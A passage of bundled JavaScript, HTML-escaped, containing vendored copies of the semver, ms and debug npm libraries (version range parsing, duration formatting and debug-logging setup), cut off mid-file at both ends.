        }
        throw er;
      }
    };
    module2.exports = parse4;
  }
});

// node_modules/semver/functions/valid.js
var require_valid = __commonJS({
  &quot;node_modules/semver/functions/valid.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var parse4 = require_parse();
    var valid = (version, options) =&gt; {
      const v = parse4(version, options);
      return v ? v.version : null;
    };
    module2.exports = valid;
  }
});

// node_modules/semver/internal/lrucache.js
var require_lrucache = __commonJS({
  &quot;node_modules/semver/internal/lrucache.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var LRUCache = class {
      constructor() {
        this.max = 1e3;
        this.map = /* @__PURE__ */ new Map();
      }
      get(key) {
        const value = this.map.get(key);
        if (value === void 0) {
          return void 0;
        } else {
          this.map.delete(key);
          this.map.set(key, value);
          return value;
        }
      }
      delete(key) {
        return this.map.delete(key);
      }
      set(key, value) {
        const deleted = this.delete(key);
        if (!deleted &amp;&amp; value !== void 0) {
          if (this.map.size &gt;= this.max) {
            const firstKey = this.map.keys().next().value;
            this.delete(firstKey);
          }
          this.map.set(key, value);
        }
        return this;
      }
    };
    module2.exports = LRUCache;
  }
});

// node_modules/semver/functions/eq.js
var require_eq = __commonJS({
  &quot;node_modules/semver/functions/eq.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var compare = require_compare();
    var eq = (a, b, loose) =&gt; compare(a, b, loose) === 0;
    module2.exports = eq;
  }
});

// node_modules/semver/functions/neq.js
var require_neq = __commonJS({
  &quot;node_modules/semver/functions/neq.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var compare = require_compare();
    var neq = (a, b, loose) =&gt; compare(a, b, loose) !== 0;
    module2.exports = neq;
  }
});

// node_modules/semver/functions/gt.js
var require_gt = __commonJS({
  &quot;node_modules/semver/functions/gt.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var compare = require_compare();
    var gt = (a, b, loose) =&gt; compare(a, b, loose) &gt; 0;
    module2.exports = gt;
  }
});

// node_modules/semver/functions/gte.js
var require_gte = __commonJS({
  &quot;node_modules/semver/functions/gte.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var compare = require_compare();
    var gte = (a, b, loose) =&gt; compare(a, b, loose) &gt;= 0;
    module2.exports = gte;
  }
});

// node_modules/semver/functions/lt.js
var require_lt = __commonJS({
  &quot;node_modules/semver/functions/lt.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var compare = require_compare();
    var lt = (a, b, loose) =&gt; compare(a, b, loose) &lt; 0;
    module2.exports = lt;
  }
});

// node_modules/semver/functions/lte.js
var require_lte = __commonJS({
  &quot;node_modules/semver/functions/lte.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var compare = require_compare();
    var lte = (a, b, loose) =&gt; compare(a, b, loose) &lt;= 0;
    module2.exports = lte;
  }
});

// node_modules/semver/functions/cmp.js
var require_cmp = __commonJS({
  &quot;node_modules/semver/functions/cmp.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var eq = require_eq();
    var neq = require_neq();
    var gt = require_gt();
    var gte = require_gte();
    var lt = require_lt();
    var lte = require_lte();
    var cmp = (a, op, b, loose) =&gt; {
      switch (op) {
        case &quot;===&quot;:
          if (typeof a === &quot;object&quot;) {
            a = a.version;
          }
          if (typeof b === &quot;object&quot;) {
            b = b.version;
          }
          return a === b;
        case &quot;!==&quot;:
          if (typeof a === &quot;object&quot;) {
            a = a.version;
          }
          if (typeof b === &quot;object&quot;) {
            b = b.version;
          }
          return a !== b;
        case &quot;&quot;:
        case &quot;=&quot;:
        case &quot;==&quot;:
          return eq(a, b, loose);
        case &quot;!=&quot;:
          return neq(a, b, loose);
        case &quot;&gt;&quot;:
          return gt(a, b, loose);
        case &quot;&gt;=&quot;:
          return gte(a, b, loose);
        case &quot;&lt;&quot;:
          return lt(a, b, loose);
        case &quot;&lt;=&quot;:
          return lte(a, b, loose);
        default:
          throw new TypeError(`Invalid operator: ${op}`);
      }
    };
    module2.exports = cmp;
  }
});

// node_modules/semver/classes/comparator.js
var require_comparator = __commonJS({
  &quot;node_modules/semver/classes/comparator.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var ANY = /* @__PURE__ */ Symbol(&quot;SemVer ANY&quot;);
    var Comparator = class _Comparator {
      static get ANY() {
        return ANY;
      }
      constructor(comp, options) {
        options = parseOptions(options);
        if (comp instanceof _Comparator) {
          if (comp.loose === !!options.loose) {
            return comp;
          } else {
            comp = comp.value;
          }
        }
        comp = comp.trim().split(/\s+/).join(&quot; &quot;);
        debug(&quot;comparator&quot;, comp, options);
        this.options = options;
        this.loose = !!options.loose;
        this.parse(comp);
        if (this.semver === ANY) {
          this.value = &quot;&quot;;
        } else {
          this.value = this.operator + this.semver.version;
        }
        debug(&quot;comp&quot;, this);
      }
      parse(comp) {
        const r = this.options.loose ? re[t.COMPARATORLOOSE] : re[t.COMPARATOR];
        const m = comp.match(r);
        if (!m) {
          throw new TypeError(`Invalid comparator: ${comp}`);
        }
        this.operator = m[1] !== void 0 ? m[1] : &quot;&quot;;
        if (this.operator === &quot;=&quot;) {
          this.operator = &quot;&quot;;
        }
        if (!m[2]) {
          this.semver = ANY;
        } else {
          this.semver = new SemVer3(m[2], this.options.loose);
        }
      }
      toString() {
        return this.value;
      }
      test(version) {
        debug(&quot;Comparator.test&quot;, version, this.options.loose);
        if (this.semver === ANY || version === ANY) {
          return true;
        }
        if (typeof version === &quot;string&quot;) {
          try {
            version = new SemVer3(version, this.options);
          } catch (er) {
            return false;
          }
        }
        return cmp(version, this.operator, this.semver, this.options);
      }
      intersects(comp, options) {
        if (!(comp instanceof _Comparator)) {
          throw new TypeError(&quot;a Comparator is required&quot;);
        }
        if (this.operator === &quot;&quot;) {
          if (this.value === &quot;&quot;) {
            return true;
          }
          return new Range3(comp.value, options).test(this.value);
        } else if (comp.operator === &quot;&quot;) {
          if (comp.value === &quot;&quot;) {
            return true;
          }
          return new Range3(this.value, options).test(comp.semver);
        }
        options = parseOptions(options);
        if (options.includePrerelease &amp;&amp; (this.value === &quot;&lt;0.0.0-0&quot; || comp.value === &quot;&lt;0.0.0-0&quot;)) {
          return false;
        }
        if (!options.includePrerelease &amp;&amp; (this.value.startsWith(&quot;&lt;0.0.0&quot;) || comp.value.startsWith(&quot;&lt;0.0.0&quot;))) {
          return false;
        }
        if (this.operator.startsWith(&quot;&gt;&quot;) &amp;&amp; comp.operator.startsWith(&quot;&gt;&quot;)) {
          return true;
        }
        if (this.operator.startsWith(&quot;&lt;&quot;) &amp;&amp; comp.operator.startsWith(&quot;&lt;&quot;)) {
          return true;
        }
        if (this.semver.version === comp.semver.version &amp;&amp; this.operator.includes(&quot;=&quot;) &amp;&amp; comp.operator.includes(&quot;=&quot;)) {
          return true;
        }
        if (cmp(this.semver, &quot;&lt;&quot;, comp.semver, options) &amp;&amp; this.operator.startsWith(&quot;&gt;&quot;) &amp;&amp; comp.operator.startsWith(&quot;&lt;&quot;)) {
          return true;
        }
        if (cmp(this.semver, &quot;&gt;&quot;, comp.semver, options) &amp;&amp; this.operator.startsWith(&quot;&lt;&quot;) &amp;&amp; comp.operator.startsWith(&quot;&gt;&quot;)) {
          return true;
        }
        return false;
      }
    };
    module2.exports = Comparator;
    var parseOptions = require_parse_options();
    var { safeRe: re, t } = require_re();
    var cmp = require_cmp();
    var debug = require_debug();
    var SemVer3 = require_semver();
    var Range3 = require_range();
  }
});

// node_modules/semver/classes/range.js
var require_range = __commonJS({
  &quot;node_modules/semver/classes/range.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var SPACE_CHARACTERS = /\s+/g;
    var Range3 = class _Range {
      constructor(range, options) {
        options = parseOptions(options);
        if (range instanceof _Range) {
          if (range.loose === !!options.loose &amp;&amp; range.includePrerelease === !!options.includePrerelease) {
            return range;
          } else {
            return new _Range(range.raw, options);
          }
        }
        if (range instanceof Comparator) {
          this.raw = range.value;
          this.set = [[range]];
          this.formatted = void 0;
          return this;
        }
        this.options = options;
        this.loose = !!options.loose;
        this.includePrerelease = !!options.includePrerelease;
        this.raw = range.trim().replace(SPACE_CHARACTERS, &quot; &quot;);
        this.set = this.raw.split(&quot;||&quot;).map((r) =&gt; this.parseRange(r.trim())).filter((c) =&gt; c.length);
        if (!this.set.length) {
          throw new TypeError(`Invalid SemVer Range: ${this.raw}`);
        }
        if (this.set.length &gt; 1) {
          const first = this.set[0];
          this.set = this.set.filter((c) =&gt; !isNullSet(c[0]));
          if (this.set.length === 0) {
            this.set = [first];
          } else if (this.set.length &gt; 1) {
            for (const c of this.set) {
              if (c.length === 1 &amp;&amp; isAny(c[0])) {
                this.set = [c];
                break;
              }
            }
          }
        }
        this.formatted = void 0;
      }
      get range() {
        if (this.formatted === void 0) {
          this.formatted = &quot;&quot;;
          for (let i = 0; i &lt; this.set.length; i++) {
            if (i &gt; 0) {
              this.formatted += &quot;||&quot;;
            }
            const comps = this.set[i];
            for (let k = 0; k &lt; comps.length; k++) {
              if (k &gt; 0) {
                this.formatted += &quot; &quot;;
              }
              this.formatted += comps[k].toString().trim();
            }
          }
        }
        return this.formatted;
      }
      format() {
        return this.range;
      }
      toString() {
        return this.range;
      }
      parseRange(range) {
        range = range.replace(BUILDSTRIPRE, &quot;&quot;);
        const memoOpts = (this.options.includePrerelease &amp;&amp; FLAG_INCLUDE_PRERELEASE) | (this.options.loose &amp;&amp; FLAG_LOOSE);
        const memoKey = memoOpts + &quot;:&quot; + range;
        const cached = cache2.get(memoKey);
        if (cached) {
          return cached;
        }
        const loose = this.options.loose;
        const hr = loose ? re[t.HYPHENRANGELOOSE] : re[t.HYPHENRANGE];
        range = range.replace(hr, hyphenReplace(this.options.includePrerelease));
        debug(&quot;hyphen replace&quot;, range);
        range = range.replace(re[t.COMPARATORTRIM], comparatorTrimReplace);
        debug(&quot;comparator trim&quot;, range);
        range = range.replace(re[t.TILDETRIM], tildeTrimReplace);
        debug(&quot;tilde trim&quot;, range);
        range = range.replace(re[t.CARETTRIM], caretTrimReplace);
        debug(&quot;caret trim&quot;, range);
        let rangeList = range.split(&quot; &quot;).map((comp) =&gt; parseComparator(comp, this.options)).join(&quot; &quot;).split(/\s+/).map((comp) =&gt; replaceGTE0(comp, this.options));
        if (loose) {
          rangeList = rangeList.filter((comp) =&gt; {
            debug(&quot;loose invalid filter&quot;, comp, this.options);
            return !!comp.match(re[t.COMPARATORLOOSE]);
          });
        }
        debug(&quot;range list&quot;, rangeList);
        const rangeMap = /* @__PURE__ */ new Map();
        const comparators = rangeList.map((comp) =&gt; new Comparator(comp, this.options));
        for (const comp of comparators) {
          if (isNullSet(comp)) {
            return [comp];
          }
          rangeMap.set(comp.value, comp);
        }
        if (rangeMap.size &gt; 1 &amp;&amp; rangeMap.has(&quot;&quot;)) {
          rangeMap.delete(&quot;&quot;);
        }
        const result = [...rangeMap.values()];
        cache2.set(memoKey, result);
        return result;
      }
      intersects(range, options) {
        if (!(range instanceof _Range)) {
          throw new TypeError(&quot;a Range is required&quot;);
        }
        return this.set.some((thisComparators) =&gt; {
          return isSatisfiable(thisComparators, options) &amp;&amp; range.set.some((rangeComparators) =&gt; {
            return isSatisfiable(rangeComparators, options) &amp;&amp; thisComparators.every((thisComparator) =&gt; {
              return rangeComparators.every((rangeComparator) =&gt; {
                return thisComparator.intersects(rangeComparator, options);
              });
            });
          });
        });
      }
      // if ANY of the sets match ALL of its comparators, then pass
      test(version) {
        if (!version) {
          return false;
        }
        if (typeof version === &quot;string&quot;) {
          try {
            version = new SemVer3(version, this.options);
          } catch (er) {
            return false;
          }
        }
        for (let i = 0; i &lt; this.set.length; i++) {
          if (testSet(this.set[i], version, this.options)) {
            return true;
          }
        }
        return false;
      }
    };
    module2.exports = Range3;
    var LRU = require_lrucache();
    var cache2 = new LRU();
    var parseOptions = require_parse_options();
    var Comparator = require_comparator();
    var debug = require_debug();
    var SemVer3 = require_semver();
    var {
      safeRe: re,
      src,
      t,
      comparatorTrimReplace,
      tildeTrimReplace,
      caretTrimReplace
    } = require_re();
    var { FLAG_INCLUDE_PRERELEASE, FLAG_LOOSE } = require_constants2();
    var BUILDSTRIPRE = new RegExp(src[t.BUILD], &quot;g&quot;);
    var isNullSet = (c) =&gt; c.value === &quot;&lt;0.0.0-0&quot;;
    var isAny = (c) =&gt; c.value === &quot;&quot;;
    var isSatisfiable = (comparators, options) =&gt; {
      let result = true;
      const remainingComparators = comparators.slice();
      let testComparator = remainingComparators.pop();
      while (result &amp;&amp; remainingComparators.length) {
        result = remainingComparators.every((otherComparator) =&gt; {
          return testComparator.intersects(otherComparator, options);
        });
        testComparator = remainingComparators.pop();
      }
      return result;
    };
    var parseComparator = (comp, options) =&gt; {
      comp = comp.replace(re[t.BUILD], &quot;&quot;);
      debug(&quot;comp&quot;, comp, options);
      comp = replaceCarets(comp, options);
      debug(&quot;caret&quot;, comp);
      comp = replaceTildes(comp, options);
      debug(&quot;tildes&quot;, comp);
      comp = replaceXRanges(comp, options);
      debug(&quot;xrange&quot;, comp);
      comp = replaceStars(comp, options);
      debug(&quot;stars&quot;, comp);
      return comp;
    };
    var isX = (id) =&gt; !id || id.toLowerCase() === &quot;x&quot; || id === &quot;*&quot;;
    var invalidXRangeOrder = (M, m, p) =&gt; isX(M) &amp;&amp; !isX(m) || isX(m) &amp;&amp; p &amp;&amp; !isX(p);
    var replaceTildes = (comp, options) =&gt; {
      return comp.trim().split(/\s+/).map((c) =&gt; replaceTilde(c, options)).join(&quot; &quot;);
    };
    var replaceTilde = (comp, options) =&gt; {
      const r = options.loose ? re[t.TILDELOOSE] : re[t.TILDE];
      const z = options.includePrerelease ? &quot;-0&quot; : &quot;&quot;;
      return comp.replace(r, (_, M, m, p, pr) =&gt; {
        debug(&quot;tilde&quot;, comp, _, M, m, p, pr);
        let ret;
        if (isX(M)) {
          ret = &quot;&quot;;
        } else if (isX(m)) {
          ret = `&gt;=${M}.0.0${z} &lt;${+M + 1}.0.0-0`;
        } else if (isX(p)) {
          ret = `&gt;=${M}.${m}.0${z} &lt;${M}.${+m + 1}.0-0`;
        } else if (pr) {
          debug(&quot;replaceTilde pr&quot;, pr);
          ret = `&gt;=${M}.${m}.${p}-${pr} &lt;${M}.${+m + 1}.0-0`;
        } else {
          ret = `&gt;=${M}.${m}.${p} &lt;${M}.${+m + 1}.0-0`;
        }
        debug(&quot;tilde return&quot;, ret);
        return ret;
      });
    };
    var replaceCarets = (comp, options) =&gt; {
      return comp.trim().split(/\s+/).map((c) =&gt; replaceCaret(c, options)).join(&quot; &quot;);
    };
    var replaceCaret = (comp, options) =&gt; {
      debug(&quot;caret&quot;, comp, options);
      const r = options.loose ? re[t.CARETLOOSE] : re[t.CARET];
      const z = options.includePrerelease ? &quot;-0&quot; : &quot;&quot;;
      return comp.replace(r, (_, M, m, p, pr) =&gt; {
        debug(&quot;caret&quot;, comp, _, M, m, p, pr);
        let ret;
        if (isX(M)) {
          ret = &quot;&quot;;
        } else if (isX(m)) {
          ret = `&gt;=${M}.0.0${z} &lt;${+M + 1}.0.0-0`;
        } else if (isX(p)) {
          if (M === &quot;0&quot;) {
            ret = `&gt;=${M}.${m}.0${z} &lt;${M}.${+m + 1}.0-0`;
          } else {
            ret = `&gt;=${M}.${m}.0${z} &lt;${+M + 1}.0.0-0`;
          }
        } else if (pr) {
          debug(&quot;replaceCaret pr&quot;, pr);
          if (M === &quot;0&quot;) {
            if (m === &quot;0&quot;) {
              ret = `&gt;=${M}.${m}.${p}-${pr} &lt;${M}.${m}.${+p + 1}-0`;
            } else {
              ret = `&gt;=${M}.${m}.${p}-${pr} &lt;${M}.${+m + 1}.0-0`;
            }
          } else {
            ret = `&gt;=${M}.${m}.${p}-${pr} &lt;${+M + 1}.0.0-0`;
          }
        } else {
          debug(&quot;no pr&quot;);
          if (M === &quot;0&quot;) {
            if (m === &quot;0&quot;) {
              ret = `&gt;=${M}.${m}.${p} &lt;${M}.${m}.${+p + 1}-0`;
            } else {
              ret = `&gt;=${M}.${m}.${p} &lt;${M}.${+m + 1}.0-0`;
            }
          } else {
            ret = `&gt;=${M}.${m}.${p} &lt;${+M + 1}.0.0-0`;
          }
        }
        debug(&quot;caret return&quot;, ret);
        return ret;
      });
    };
    var replaceXRanges = (comp, options) =&gt; {
      debug(&quot;replaceXRanges&quot;, comp, options);
      return comp.split(/\s+/).map((c) =&gt; replaceXRange(c, options)).join(&quot; &quot;);
    };
    var replaceXRange = (comp, options) =&gt; {
      comp = comp.trim();
      const r = options.loose ? re[t.XRANGELOOSE] : re[t.XRANGE];
      return comp.replace(r, (ret, gtlt, M, m, p, pr) =&gt; {
        debug(&quot;xRange&quot;, comp, ret, gtlt, M, m, p, pr);
        if (invalidXRangeOrder(M, m, p)) {
          return comp;
        }
        const xM = isX(M);
        const xm = xM || isX(m);
        const xp = xm || isX(p);
        const anyX = xp;
        if (gtlt === &quot;=&quot; &amp;&amp; anyX) {
          gtlt = &quot;&quot;;
        }
        pr = options.includePrerelease ? &quot;-0&quot; : &quot;&quot;;
        if (xM) {
          if (gtlt === &quot;&gt;&quot; || gtlt === &quot;&lt;&quot;) {
            ret = &quot;&lt;0.0.0-0&quot;;
          } else {
            ret = &quot;*&quot;;
          }
        } else if (gtlt &amp;&amp; anyX) {
          if (xm) {
            m = 0;
          }
          p = 0;
          if (gtlt === &quot;&gt;&quot;) {
            gtlt = &quot;&gt;=&quot;;
            if (xm) {
              M = +M + 1;
              m = 0;
              p = 0;
            } else {
              m = +m + 1;
              p = 0;
            }
          } else if (gtlt === &quot;&lt;=&quot;) {
            gtlt = &quot;&lt;&quot;;
            if (xm) {
              M = +M + 1;
            } else {
              m = +m + 1;
            }
          }
          if (gtlt === &quot;&lt;&quot;) {
            pr = &quot;-0&quot;;
          }
          ret = `${gtlt + M}.${m}.${p}${pr}`;
        } else if (xm) {
          ret = `&gt;=${M}.0.0${pr} &lt;${+M + 1}.0.0-0`;
        } else if (xp) {
          ret = `&gt;=${M}.${m}.0${pr} &lt;${M}.${+m + 1}.0-0`;
        }
        debug(&quot;xRange return&quot;, ret);
        return ret;
      });
    };
    var replaceStars = (comp, options) =&gt; {
      debug(&quot;replaceStars&quot;, comp, options);
      return comp.trim().replace(re[t.STAR], &quot;&quot;);
    };
    var replaceGTE0 = (comp, options) =&gt; {
      debug(&quot;replaceGTE0&quot;, comp, options);
      return comp.trim().replace(re[options.includePrerelease ? t.GTE0PRE : t.GTE0], &quot;&quot;);
    };
    var hyphenReplace = (incPr) =&gt; ($0, from, fM, fm, fp, fpr, fb, to, tM, tm, tp, tpr) =&gt; {
      if (isX(fM)) {
        from = &quot;&quot;;
      } else if (isX(fm)) {
        from = `&gt;=${fM}.0.0${incPr ? &quot;-0&quot; : &quot;&quot;}`;
      } else if (isX(fp)) {
        from = `&gt;=${fM}.${fm}.0${incPr ? &quot;-0&quot; : &quot;&quot;}`;
      } else if (fpr) {
        from = `&gt;=${from}`;
      } else {
        from = `&gt;=${from}${incPr ? &quot;-0&quot; : &quot;&quot;}`;
      }
      if (isX(tM)) {
        to = &quot;&quot;;
      } else if (isX(tm)) {
        to = `&lt;${+tM + 1}.0.0-0`;
      } else if (isX(tp)) {
        to = `&lt;${tM}.${+tm + 1}.0-0`;
      } else if (tpr) {
        to = `&lt;=${tM}.${tm}.${tp}-${tpr}`;
      } else if (incPr) {
        to = `&lt;${tM}.${tm}.${+tp + 1}-0`;
      } else {
        to = `&lt;=${to}`;
      }
      return `${from} ${to}`.trim();
    };
    var testSet = (set, version, options) =&gt; {
      for (let i = 0; i &lt; set.length; i++) {
        if (!set[i].test(version)) {
          return false;
        }
      }
      if (version.prerelease.length &amp;&amp; !options.includePrerelease) {
        for (let i = 0; i &lt; set.length; i++) {
          debug(set[i].semver);
          if (set[i].semver === Comparator.ANY) {
            continue;
          }
          if (set[i].semver.prerelease.length &gt; 0) {
            const allowed = set[i].semver;
            if (allowed.major === version.major &amp;&amp; allowed.minor === version.minor &amp;&amp; allowed.patch === version.patch) {
              return true;
            }
          }
        }
        return false;
      }
      return true;
    };
  }
});

// node_modules/semver/ranges/valid.js
var require_valid2 = __commonJS({
  &quot;node_modules/semver/ranges/valid.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var Range3 = require_range();
    var validRange = (range, options) =&gt; {
      try {
        return new Range3(range, options).range || &quot;*&quot;;
      } catch (er) {
        return null;
      }
    };
    module2.exports = validRange;
  }
});

// node_modules/ms/index.js
var require_ms = __commonJS({
  &quot;node_modules/ms/index.js&quot;(exports2, module2) {
    var s = 1e3;
    var m = s * 60;
    var h = m * 60;
    var d = h * 24;
    var w = d * 7;
    var y = d * 365.25;
    module2.exports = function(val, options) {
      options = options || {};
      var type = typeof val;
      if (type === &quot;string&quot; &amp;&amp; val.length &gt; 0) {
        return parse4(val);
      } else if (type === &quot;number&quot; &amp;&amp; isFinite(val)) {
        return options.long ? fmtLong(val) : fmtShort(val);
      }
      throw new Error(
        &quot;val is not a non-empty string or a valid number. val=&quot; + JSON.stringify(val)
      );
    };
    function parse4(str) {
      str = String(str);
      if (str.length &gt; 100) {
        return;
      }
      var match = /^(-?(?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(
        str
      );
      if (!match) {
        return;
      }
      var n = parseFloat(match[1]);
      var type = (match[2] || &quot;ms&quot;).toLowerCase();
      switch (type) {
        case &quot;years&quot;:
        case &quot;year&quot;:
        case &quot;yrs&quot;:
        case &quot;yr&quot;:
        case &quot;y&quot;:
          return n * y;
        case &quot;weeks&quot;:
        case &quot;week&quot;:
        case &quot;w&quot;:
          return n * w;
        case &quot;days&quot;:
        case &quot;day&quot;:
        case &quot;d&quot;:
          return n * d;
        case &quot;hours&quot;:
        case &quot;hour&quot;:
        case &quot;hrs&quot;:
        case &quot;hr&quot;:
        case &quot;h&quot;:
          return n * h;
        case &quot;minutes&quot;:
        case &quot;minute&quot;:
        case &quot;mins&quot;:
        case &quot;min&quot;:
        case &quot;m&quot;:
          return n * m;
        case &quot;seconds&quot;:
        case &quot;second&quot;:
        case &quot;secs&quot;:
        case &quot;sec&quot;:
        case &quot;s&quot;:
          return n * s;
        case &quot;milliseconds&quot;:
        case &quot;millisecond&quot;:
        case &quot;msecs&quot;:
        case &quot;msec&quot;:
        case &quot;ms&quot;:
          return n;
        default:
          return void 0;
      }
    }
    function fmtShort(ms) {
      var msAbs = Math.abs(ms);
      if (msAbs &gt;= d) {
        return Math.round(ms / d) + &quot;d&quot;;
      }
      if (msAbs &gt;= h) {
        return Math.round(ms / h) + &quot;h&quot;;
      }
      if (msAbs &gt;= m) {
        return Math.round(ms / m) + &quot;m&quot;;
      }
      if (msAbs &gt;= s) {
        return Math.round(ms / s) + &quot;s&quot;;
      }
      return ms + &quot;ms&quot;;
    }
    function fmtLong(ms) {
      var msAbs = Math.abs(ms);
      if (msAbs &gt;= d) {
        return plural2(ms, msAbs, d, &quot;day&quot;);
      }
      if (msAbs &gt;= h) {
        return plural2(ms, msAbs, h, &quot;hour&quot;);
      }
      if (msAbs &gt;= m) {
        return plural2(ms, msAbs, m, &quot;minute&quot;);
      }
      if (msAbs &gt;= s) {
        return plural2(ms, msAbs, s, &quot;second&quot;);
      }
      return ms + &quot; ms&quot;;
    }
    function plural2(ms, msAbs, n, name2) {
      var isPlural = msAbs &gt;= n * 1.5;
      return Math.round(ms / n) + &quot; &quot; + name2 + (isPlural ? &quot;s&quot; : &quot;&quot;);
    }
  }
});

// node_modules/debug/src/common.js
var require_common = __commonJS({
  &quot;node_modules/debug/src/common.js&quot;(exports2, module2) {
    function setup(env2) {
      createDebug.debug = createDebug;
      createDebug.default = createDebug;
      createDebug.coerce = coerce;
      createDebug.disable = disable;
      createDebug.enable = enable;
      createDebug.enabled = enabled;
      createDebug.humanize = require_ms();
      createDebug.destroy = destroy;
      Object.keys(env2).forEach((key) =&gt; {
        createDebug[key] = env2[key];
      });
      createDebug.names = [];
      createDebug.skips = [];
      createDebug.formatters = {};
      function selectColor(namespace) {
        let hash = 0;
        for (let i = 0; i &lt; namespace.length; i++) {
          hash = (hash &lt;&lt; 5) - hash + namespace.charCodeAt(i);
          hash |= 0;
        }
        return createDebug.colors[Math.abs(hash) % createDebug.colors.length];
      }
      createDebug.selectColor = selectColor;
      function createDebug(namespace) {
        let prevTime;
        let enableOverride = null;
        let namespacesCache;
        let enabledCache;
        function debug(...args) {
          if (!debug.enabled) {
            return;
          }
          const self2 = debug;
          const curr = Number(/* @__PURE__ */ new Date());
          const ms = curr - (prevTime || curr);
          self2.diff = ms;
          self2.prev = prevTime;
          self2.curr = curr;
          prevTime = curr;
          args[0] = createDebug.coerce(args[0]);
          if (typeof args[0] !== &quot;string&quot;) {
            args.unshift(&quot;%O&quot;);
          }
          let index = 0;
          args[0] = args[0].replace(/%([a-zA-Z%])/g, (match, format) =&gt; {
            if (match === &quot;%%&quot;) {
              return &quot;%&quot;;
            }
            index++;
            const formatter = createDebug.formatters[format];
            if (typeof formatter === &quot;function&quot;) {
              const val = args[index];
              match = formatter.call(self2, val);
              args.splice(index, 1);
              index--;
            }
            return match;
          });
          createDebug.formatArgs.call(self2, args);
          const logFn = self2.log || createDebug.log;
          logFn.apply(self2, args);
        }
        debug.namespace = namespace;
        debug.useColors = createDebug.useColors();
        debug.color = createDebug.selectColor(namespace);
        debug.extend = extend;
        debug.destroy = createDebug.destroy;
        Object.defineProperty(debug, &quot;enabled&quot;, {
          enumerable: true,
          configurable: false,
          get: () =&gt; {
            if (enableOverride !== null) {
              return enableOverride;
            }
            if (namespacesCache !== createDebug.namespaces) {
              namespacesCache = createDebug.namespaces;
              enabledCache = createDebug.enabled(namespace);
            }
            return enabledCache;
          },
          set: (v) =&gt; {
            enableOverride = v;
          }
        });
        if (typeof createDebug.init === &quot;function&quot;) {
          createDebug.init(debug);
        }
        return debug;
      }
      function extend(namespace, delimiter) {
        const newDebug = createDebug(this.namespace + (typeof delimiter === &quot;undefined&quot; ? &quot;:&quot; : delimiter) + namespace);
        newDebug.log = this.log;
        return newDebug;
      }
      function enable(namespaces) {
        createDebug.save(namespaces);
        createDebug.namespaces = namespaces;
        createDebug.names = [];
        createDebug.skips = [];
        const split = (typeof namespaces === &quot;string&quot; ? namespaces : &quot;&quot;).trim().replace(/\s+/g, &quot;,&quot;).split(&quot;,&quot;).filter(Boolean);
        for (const ns of split) {
          if (ns[0] === &quot;-&quot;) {
            createDebug.skips.push(ns.slice(1));
          } else {
            createDebug.names.push(ns);
          }
        }
      }
      function matchesTemplate(search, template) {
        let searchIndex = 0;
        let templateIndex = 0;
        let starIndex = -1;
        let matchIndex = 0;
        while (searchIndex &lt; search.length) {
          if (templateIndex &lt; template.length &amp;&amp; (template[templateIndex] === search[searchIndex] || template[templateIndex] === &quot;*&quot;)) {
            if (template[templateIndex] === &quot;*&quot;) {
              starIndex = templateIndex;
              matchIndex = searchIndex;
              templateIndex++;
            } else {
              searchIndex++;
              templateIndex++;
            }
          } else if (starIndex !== -1) {
            templateIndex = starIndex + 1;
            matchIndex++;
            searchIndex = matchIndex;
          } else {
            return false;
          }
        }
        while (templateIndex &lt; template.length &amp;&amp; template[templateIndex] === &quot;*&quot;) {
          templateIndex++;
        }
        return templateIndex === template.length;
      }
      function disable() {
        const namespaces = [
          ...createDebug.names,
          ...createDebug.skips.map((namespace) =&gt; &quot;-&quot; + namespace)
        ].join(&quot;,&quot;);
        createDebug.enable(&quot;&quot;);
        return namespaces;
      }
      function enabled(name2) {
        for (const skip of createDebug.skips) {
          if (matchesTemplate(name2, skip)) {
            return false;
          }
        }
        for (const ns of createDebug.names) {
          if (matchesTemplate(name2, ns)) {
            return true;
          }
        }
        return false;
      }
      function coerce(val) {
        if (val instanceof Error) {
          return val.stack || val.message;
        }
        return val;
      }
      function destroy() {
        console.warn(&quot;Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.&quot;);
      }
      createDebug.enable(createDebug.load());
      return createDebug;
    }
    module2.exports = setup;
  }
});

// node_modules/debug/src/browser.js
var require_browser = __commonJS({
  &quot;node_modules/debug/src/browser.js&quot;(exports2, module2) {
    exports2.formatArgs = formatArgs;
    exports2.save = save;
    exports2.load = load;
    exports2.useColors = useColors;
    exports2.storage = localstorage();
    exports2.destroy = /* @__PURE__ */ (() =&gt; {
      let warned = false;
      return () =&gt; {
        if (!warned) {
          warned = true;
          console.warn(&quot;Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.&quot;);
        }
      };
    })();
    exports2.colors = [
      &quot;#0000CC&quot;,
      &quot;#0000FF&quot;,
      &quot;#0033CC&quot;,
      &quot;#0033FF&quot;,
      &quot;#0066CC&quot;,
      &quot;#0066FF&quot;,
      &quot;#0099CC&quot;,
      &quot;#0099FF&quot;,
      &quot;#00CC00&quot;,
      &quot;#00CC33&quot;,
      &quot;#00CC66&quot;,
      &quot;#00CC99&quot;,
      &quot;#00CCCC&quot;,
      &quot;#00CCFF&quot;,
      &quot;#3300CC&quot;,
      &quot;#3300FF&quot;,
      &quot;#3333CC&quot;,
      &quot;#3333FF&quot;,
      &quot;#3366CC&quot;,
      &quot;#3366FF&quot;,
      &quot;#3399CC&quot;,
      &quot;#3399FF&quot;,
      &quot;#33CC00&quot;,
      &quot;#33CC33&quot;,
      &quot;#33CC66&quot;,
      &quot;#33CC99&quot;,
      &quot;#33CCCC&quot;,
      &quot;#33CCFF&quot;,
      &quot;#6600CC&quot;,
      &quot;#6600FF&quot;,
      &quot;#6633CC&quot;,
      &quot;#6633FF&quot;,
      &quot;#66CC00&quot;,
      &quot;#66CC33&quot;,
      &quot;#9900CC&quot;,
